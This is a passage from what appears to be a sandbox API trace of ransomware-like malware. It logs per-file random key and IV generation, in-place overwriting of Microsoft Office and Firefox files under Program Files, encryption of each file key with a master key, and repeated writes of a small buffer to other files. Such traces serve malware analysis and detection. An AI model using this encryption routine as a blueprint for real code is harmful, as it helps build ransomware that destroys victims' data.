pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.993] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.993] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.994] CloseHandle (hObject=0x2220) returned 1 [0213.996] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0213.996] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a60 | out: pbBuffer=0x30f6a60) returned 1 [0213.997] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0213.997] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x25e95, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x25e95, lpOverlapped=0x0) returned 1 [0214.054] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-155285, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.054] WriteFile (in: hFile=0x2220, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x25e95, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25e95, lpOverlapped=0x0) returned 1 [0214.055] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25e95 [0214.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0214.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0214.055] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0214.056] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0214.056] CloseHandle (hObject=0x2220) returned 1 [0214.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0214.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0214.122] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0214.123] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x142b0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x142b0, lpOverlapped=0x0) returned 1 [0214.228] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-82608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.228] WriteFile (in: hFile=0x2220, lpBuffer=0x34d22c8*, nNumberOfBytesToWrite=0x142b0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34d22c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x142b0, lpOverlapped=0x0) returned 1 [0214.229] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x142b0 [0214.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0214.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0214.229] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0214.230] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0214.230] CloseHandle (hObject=0x2220) returned 1 [0214.231] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df8c8 | out: pbBuffer=0x30df8c8) returned 1 [0214.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0214.232] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0214.232] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x11b8, lpOverlapped=0x0) returned 1 [0214.244] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.244] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5238*, nNumberOfBytesToWrite=0x11b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5238*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11b8, lpOverlapped=0x0) returned 1 [0214.245] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11b8 [0214.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0214.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df8c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df8c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0214.245] WriteFile (in: hFile=0x2220, lpBuffer=0x30df8c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df8c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0214.246] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0214.246] CloseHandle (hObject=0x2220) returned 1 [0214.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0214.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0214.390] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0214.390] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0xd02, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd02, lpOverlapped=0x0) returned 1 [0215.037] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-3330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.037] WriteFile (in: hFile=0x2220, lpBuffer=0x30ca018*, nNumberOfBytesToWrite=0xd02, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd02, lpOverlapped=0x0) returned 1 [0215.038] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd02 [0215.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.038] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.038] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.038] CloseHandle (hObject=0x2220) returned 1 [0215.253] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df9d0 | out: pbBuffer=0x30df9d0) returned 1 [0215.253] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0215.253] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0215.254] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x9623, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x9623, lpOverlapped=0x0) returned 1 [0215.291] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-38435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.291] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x9623, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9623, lpOverlapped=0x0) returned 1 [0215.292] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9623 [0215.292] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.292] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.292] WriteFile (in: hFile=0x2220, lpBuffer=0x30df9d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df9d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.293] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.293] CloseHandle (hObject=0x2220) returned 1 [0215.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0215.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a70 | out: pbBuffer=0x30f6a70) returned 1 [0215.295] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0215.295] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x9376, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x9376, lpOverlapped=0x0) returned 1 [0215.296] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-37750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.296] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x9376, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9376, lpOverlapped=0x0) returned 1 [0215.297] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9376 [0215.297] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.297] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.297] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.297] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.297] CloseHandle (hObject=0x2220) returned 1 [0215.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0215.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0215.299] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0215.300] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x44d12, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x44d12, lpOverlapped=0x0) returned 1 [0215.532] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-281874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.532] WriteFile (in: hFile=0x2220, lpBuffer=0x36f5d40*, nNumberOfBytesToWrite=0x44d12, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36f5d40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44d12, lpOverlapped=0x0) returned 1 [0215.536] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44d12 [0215.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.537] WriteFile (in: hFile=0x2220, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.537] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.537] CloseHandle (hObject=0x2220) returned 1 [0215.540] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0215.540] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0215.540] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0215.540] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x21b9b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x21b9b, lpOverlapped=0x0) returned 1 [0215.583] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-138139, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.583] WriteFile (in: hFile=0x2220, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x21b9b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x21b9b, lpOverlapped=0x0) returned 1 [0215.584] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x21b9b [0215.584] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.584] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.584] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.584] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.585] CloseHandle (hObject=0x2220) returned 1 [0215.640] WriteFile (in: hFile=0x2224, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.641] CloseHandle (hObject=0x2224) returned 1 [0215.652] WriteFile (in: hFile=0x2228, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.654] CloseHandle (hObject=0x2228) returned 1 [0215.656] WriteFile (in: hFile=0x2228, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.657] CloseHandle (hObject=0x2228) returned 1 [0215.658] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.659] CloseHandle (hObject=0x222c) returned 1 [0215.660] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.661] CloseHandle (hObject=0x222c) returned 1 [0215.662] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.662] CloseHandle (hObject=0x222c) returned 1 [0215.663] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.663] CloseHandle (hObject=0x222c) returned 1 [0215.665] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.666] CloseHandle (hObject=0x222c) returned 1 [0215.667] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.668] CloseHandle (hObject=0x222c) returned 1 [0215.668] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.669] CloseHandle (hObject=0x222c) returned 1 [0215.669] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.670] CloseHandle (hObject=0x222c) returned 1 [0215.671] WriteFile (in: hFile=0x222c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0215.672] CloseHandle (hObject=0x222c) returned 1 [0215.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0528 | out: pbBuffer=0x30e0528) returned 1 [0215.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0215.672] SetFileAttributesW (lpFileName="\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\VisualElements_70.png", dwFileAttributes=0x80) returned 1 [0215.673] ReadFile (in: hFile=0x2238, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x2f33, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f33, lpOverlapped=0x0) returned 1 [0215.704] SetFilePointer (in: hFile=0x2238, lDistanceToMove=-12083, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.704] WriteFile (in: hFile=0x2238, lpBuffer=0x30e6fb8*, nNumberOfBytesToWrite=0x2f33, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6fb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f33, lpOverlapped=0x0) returned 1 [0215.705] SetFilePointer (in: hFile=0x2238, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f33 [0215.705] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0215.705] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0215.705] WriteFile (in: hFile=0x2238, lpBuffer=0x30e0528*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0215.706] WriteFile (in: hFile=0x2238, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0215.706] CloseHandle (hObject=0x2238) returned 1 [0215.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfbe0 | out: pbBuffer=0x30dfbe0) returned 1 [0215.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, 